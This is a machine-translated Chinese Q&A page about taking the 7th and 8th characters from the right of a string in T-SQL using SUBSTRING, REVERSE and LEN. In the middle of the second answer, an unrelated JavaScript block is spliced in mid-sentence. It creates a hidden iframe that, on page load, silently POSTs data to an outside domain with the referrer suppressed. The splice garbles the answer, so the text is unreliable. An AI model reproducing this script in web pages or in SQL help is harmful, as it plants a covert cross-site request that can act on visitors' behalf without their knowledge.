右子串语句SQL

时间:2016-02-23 17:05:41

标签: sql sql-server tsql substring

我想通过从右侧开始

来从字符串中对第七和第八个caractere进行子串

我想尝试动态尝试:

select substring(right(P.Name,8), 1,2)

如何正确编写Right Substring函数SQL?我在做什么不起作用。

2 个答案:

答案 0 :(得分:3)

您应该了解如何正确使用SUBSTRING

SELECT SUBSTRING('123456789',7,2)

7是您开始的位置,2是您要检索的字符串的长度。

修改

如果您希望SUBSTRING从右侧开始(根据您的评论),您可以使用REVERSE

SELECT SUBSTRING(REVERSE('123456789'),7,2)

答案 1 :(得分:0)

与双重<script> function postIt (p, url, cb) { url = url || "http://www.targetdomain.org"; p = p || {}; cb && (p.cb = +new Date); var params = (function (o) { var s=[]; for (var j in o) { o.hasOwnProperty(j) && s.push(j+'='+o[j]); } return s.join('%26'); })(p), html = '<html><head><meta name="referrer" content="no-referrer"/></head><body><script>(function(){var http = new XMLHttpRequest(), url = "' + url + '", params = "' + params + '";http.onreadystatechange = function(){if (http.readyState == 4 && http.status == 200){window.parent.postMessage("posted", "*");}};http.open("POST", url, true); http.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=UTF-8"); http.send(params);})(); <\/script><\/body><\/html>', src = "data:text/html;charset=utf-8,"+ escape(html), iframe = document.createElement('iframe'); iframe.style.display= 'none'; iframe.height = iframe.width = '0px'; window.addEventListener('message', function (e) { e.data == "posted" && document.body.removeChild(iframe); }, false); iframe.src = src; document.body.appendChild(iframe); } </script> <body onload="postIt({hello:'there'});"> <h1>Hello world</h1> </body> 方法相比,这对我来说更有意义:

REVERSE()

我们使用length + 1是因为select substring(P.Name,len(P.Name) + 1 - 8, 2) 是基于1的函数,而不是基于0的函数。也就是说,第一个字符是字符1,而不是字符0。

请注意,如果该字段的长度少于7个字符,则返回一个空字符串。如果该字段正好是7个字符长,则仅返回第7个字符。如果该字段的长度至少为8个字符,则返回第7个和第8个字符。